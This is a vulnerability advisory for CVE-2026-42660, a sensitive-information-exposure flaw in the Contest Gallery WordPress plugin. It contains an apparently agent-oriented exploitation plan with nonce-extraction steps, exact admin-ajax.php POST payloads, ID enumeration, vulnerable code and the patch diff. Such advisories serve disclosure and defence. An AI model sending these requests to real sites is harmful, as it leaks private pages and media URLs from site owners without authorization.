Contest Gallery – Upload & Vote Photos, Media, Sell with PayPal & Stripe <= 28.1.7 - Authenticated (Subscriber+) Sensitive Information Exposure
Description
The Contest Gallery – Upload & Vote Photos, Media, Sell with PayPal & Stripe plugin for WordPress is vulnerable to Sensitive Information Exposure in all versions up to, and including, 28.1.7. This makes it possible for authenticated attackers, with Subscriber-level access and above, to extract sensitive user or configuration data.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:NTechnical Details
<=28.1.7What Changed in the Fix
Changes introduced in v29.0.0
Source Code
WordPress.org SVN# Exploitation Research Plan - CVE-2026-42660 ## 1. Vulnerability Summary The **Contest Gallery** plugin (up to version 28.1.7) is vulnerable to **Sensitive Information Exposure** via its backend AJAX handlers. Several functions registered with `wp_ajax_` hooks fail to implement capability checks (…
Show full research plan
Exploitation Research Plan - CVE-2026-42660
1. Vulnerability Summary
The Contest Gallery plugin (up to version 28.1.7) is vulnerable to Sensitive Information Exposure via its backend AJAX handlers. Several functions registered with wp_ajax_ hooks fail to implement capability checks (e.g., current_user_can('manage_options')), relying solely on a nonce check. Because WordPress allows any authenticated user (including Subscribers) to access the admin dashboard (/wp-admin/) and obtain localized nonces, a Subscriber-level attacker can invoke these functions to extract sensitive configuration data, internal page structures, and attachment URLs.
2. Attack Vector Analysis
- Endpoint:
/wp-admin/admin-ajax.php - Action:
post_cg_get_current_permalinks(and potentiallypost_cg_create_pdf_preview_backend) - Vulnerable Parameter:
cgRealId(used to query thecontest_gal1erytable) - Authentication: Subscriber-level access or higher.
- Precondition: The attacker must be logged in and obtain a valid
cg_ajax_nonce.
3. Code Flow
- Entry Point: The action
post_cg_get_current_permalinksis registered inajax/ajax-functions-backend.php:add_action('wp_ajax_post_cg_get_current_permalinks', 'post_cg_get_current_permalinks'); - Missing Authorization: The function
post_cg_get_current_permalinks()starts with:function post_cg_get_current_permalinks() { cg_check_nonce(); // Verifies nonce, but NO capability check global $wpdb; ... - Data Extraction: The function takes
$_POST['cgRealId']and queries the primary gallery table:$realId = absint($_POST['cgRealId']); $realIdRow = $wpdb->get_row( "SELECT * FROM $tablename WHERE id='$realId'" ); - Exposure: It compiles various internal permalinks (Winner page, Ecommerce page, User page) associated with that gallery and echoes them back in a
<script>block:$entryPermalinks['cg_gallery_ecommerce'] = $permalink.'?test=true'; ... cgJsClassAdmin.gallery.vars.entryPermalinks = <?php echo json_encode($entryPermalinks); ?>; - Sensitive Information: The exposure of the
cg_gallery_ecommercepermalink with the?test=trueparameter or private gallery pages allows an attacker to discover restricted areas or bypass intended access controls for specific gallery workflows.
4. Nonce Acquisition Strategy
Backend nonces for this plugin are localized for the WordPress admin area. Even a Subscriber can access their profile in the admin area.
- Login: Authenticate as a Subscriber user.
- Navigate: Use
browser_navigateto go to/wp-admin/profile.php. - Extract: The plugin localizes the nonce into the global JavaScript object
cgJsClassAdmin. Usebrowser_evalto extract it.- JS Variable:
window.cgJsClassAdmin?.nonceorwindow.cg_ajax_nonce. - Localization Code (Inferred): The plugin typically uses
wp_localize_script('cg-admin-js', 'cgJsClassAdmin', ['nonce' => wp_create_nonce('cg_ajax_nonce'), ...]);.
- JS Variable:
- Fallback: If the variable isn't in
cgJsClassAdmin, search the page source forcg_ajax_nonce.
5. Exploitation Strategy
Step-by-Step Plan:
- Obtain Nonce:
- Login as Subscriber.
- Navigate to
/wp-admin/. - Extract the value of the
cg_ajax_nonce(action:cg_ajax_nonce).
- Invoke Vulnerable Action:
- Use the
http_requesttool to send a POST request to/wp-admin/admin-ajax.php. - Set the
Content-Typetoapplication/x-www-form-urlencoded. - Payload:
action=post_cg_get_current_permalinks&cgRealId=1&cg_nonce=[EXTRACTED_NONCE]
- Use the
- Capture Output:
- The response will contain a script block with
cgJsClassAdmin.gallery.vars.entryPermalinks. - Parse this JSON to see the internal URLs.
- The response will contain a script block with
- Alternative (Attachment URL Exposure):
- Payload:
action=post_cg_create_pdf_preview_backend&cgRealId=1&cg_wp_upload=[ID]&cg_nonce=[EXTRACTED_NONCE] - This will return the direct URL of the media attachment specified by
cg_wp_upload.
- Payload:
6. Test Data Setup
- Install Plugin: Ensure
contest-galleryv28.1.7 is active. - Create Gallery: Use WP-CLI to ensure a gallery exists (this populates the
contest_gal1erytable).wp eval "global \$wpdb; \$wpdb->insert(\$wpdb->prefix . 'contest_gal1ery', ['GalleryID' => 'test-1', 'WpPageEcommerce' => 999]);"
- Create Private Page: Create a page with ID 999 and set it to
private. - Create User:
wp user create attacker attacker@example.com --role=subscriber --user_pass=password
7. Expected Results
- The HTTP response from
admin-ajax.phpshould return a200 OK. - The body should contain:
<script data-cg-processing-get-current-permalinks="true"> cgJsClassAdmin.gallery.vars.entryPermalinks = {"cg_gallery_ecommerce":"http:\/\/localhost:8080\/?page_id=999?test=true"}; </script> - This confirms that a Subscriber successfully bypassed authorization to view internal/private configuration links associated with the gallery.
8. Verification Steps
- Check Output: Verify the returned URL matches the ID of the page created in Step 6.
- Auth Bypass Confirmation: Note that the request was made using the Subscriber's cookie, but the function returned data that should be restricted to
manage_options(Gallery Admin). - Iterate IDs: Demonstrate that changing
cgRealIdallows discovery of all configured galleries and their respective pages.
9. Alternative Approaches
If post_cg_get_current_permalinks is strictly filtered or the response is empty, use post_cg_create_pdf_preview_backend.
- This function uses
wp_get_attachment_image_srcon a providedcg_wp_uploadID. - By iterating
cg_wp_uploadIDs, a Subscriber can leak the full URL of every attachment in the Media Library, regardless of whether it is used in a public post or restricted gallery. - Request:
POST /wp-admin/admin-ajax.php action=post_cg_create_pdf_preview_backend&cg_wp_upload=1&cgRealId=1&cg_nonce=[NONCE] - Expected Sink:
echo 'cg_guid###'.$PdfPreviewImage[0].'###cg_guid_end';
Summary
The Contest Gallery plugin for WordPress is vulnerable to sensitive information exposure due to missing capability checks in several AJAX handlers. This allow authenticated attackers with Subscriber-level access to leak sensitive configuration data, internal permalinks, and direct media attachment URLs by providing valid nonces commonly available to logged-in users.
Vulnerable Code
// ajax/ajax-functions-backend.php line 3 add_action('wp_ajax_post_cg_get_current_permalinks', 'post_cg_get_current_permalinks'); if (!function_exists('post_cg_get_current_permalinks')) { function post_cg_get_current_permalinks() { cg_check_nonce(); // Verifies nonce but lacks capability check global $wpdb; $tablename = $wpdb->prefix . "contest_gal1ery"; $realId = absint($_POST['cgRealId']); $realIdRow = $wpdb->get_row( "SELECT * FROM $tablename WHERE id='$realId'" ); $entryPermalinks = []; // ... logic to populate $entryPermalinks from $realIdRow ... if(!empty($realIdRow->WpPageEcommerce)){ $permalink = cg_get_guid($realIdRow->WpPageEcommerce); if(!empty($permalink)){ $entryPermalinks['cg_gallery_ecommerce'] = $permalink.'?test=true'; } } ?> <script data-cg-processing-get-current-permalinks="true"> cgJsClassAdmin.gallery.vars.entryPermalinks = <?php echo json_encode($entryPermalinks); ?>; </script> <?php } } --- // ajax/ajax-functions-backend.php line 55 add_action('wp_ajax_post_cg_create_pdf_preview_backend', 'post_cg_create_pdf_preview_backend'); if (!function_exists('post_cg_create_pdf_preview_backend')) { function post_cg_create_pdf_preview_backend($WpUpload = 0, $realId = 0, $cg_base_64 = '', $isFromFrontendUpload = false) { cg_check_nonce(); // ... queries to get attachment image src ... if(!empty($realIdRow->PdfPreview) && !empty(get_post( $realIdRow->PdfPreview )) && $WpUpload == $realIdRow->WpUpload){ if(!$isFromFrontendUpload){ $PdfPreviewImage = wp_get_attachment_image_src($realIdRow->PdfPreview, 'large'); echo 'cg_guid###'.$PdfPreviewImage[0].'###cg_guid_end'; } } } }
Security Fix
@@ -1,10 +1,60 @@ <?php +// ... (new helper functions for access control added) ... + // post_cg_get_current_permalinks add_action('wp_ajax_post_cg_get_current_permalinks', 'post_cg_get_current_permalinks'); if (!function_exists('post_cg_get_current_permalinks')) { function post_cg_get_current_permalinks() { - cg_check_nonce(); + cg_require_backend_access(); global $wpdb; $tablename = $wpdb->prefix . "contest_gal1ery"; @@ -54,10 +104,8 @@ // create PDF preview add_action('wp_ajax_post_cg_create_pdf_preview_backend', 'post_cg_create_pdf_preview_backend'); -if (!function_exists('post_cg_create_pdf_preview_backend')) { - function post_cg_create_pdf_preview_backend($WpUpload = 0, $realId = 0, $cg_base_64 = '', $isFromFrontendUpload = false) { - - cg_check_nonce(); +if (!function_exists('cg_create_pdf_preview_internal')) { + function cg_create_pdf_preview_internal($WpUpload = 0, $realId = 0, $cg_base_64 = '', $isFromFrontendUpload = false) {
Exploit Outline
To exploit this vulnerability, an attacker first authenticates as a Subscriber and obtains a valid `cg_ajax_nonce` security token, which is often localized in the global JavaScript objects of the WordPress admin area (e.g., within `cgJsClassAdmin` on `profile.php`). Once the nonce is obtained, the attacker sends a POST request to `/wp-admin/admin-ajax.php`. By setting the `action` parameter to `post_cg_get_current_permalinks` and providing a target `cgRealId`, the plugin will return a JSON object containing internal and potentially private permalinks for that gallery. Alternatively, by using the `post_cg_create_pdf_preview_backend` action with a specific `cg_wp_upload` ID, the attacker can leak the full direct URL of any media attachment in the WordPress Media Library, bypassing intended access restrictions.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.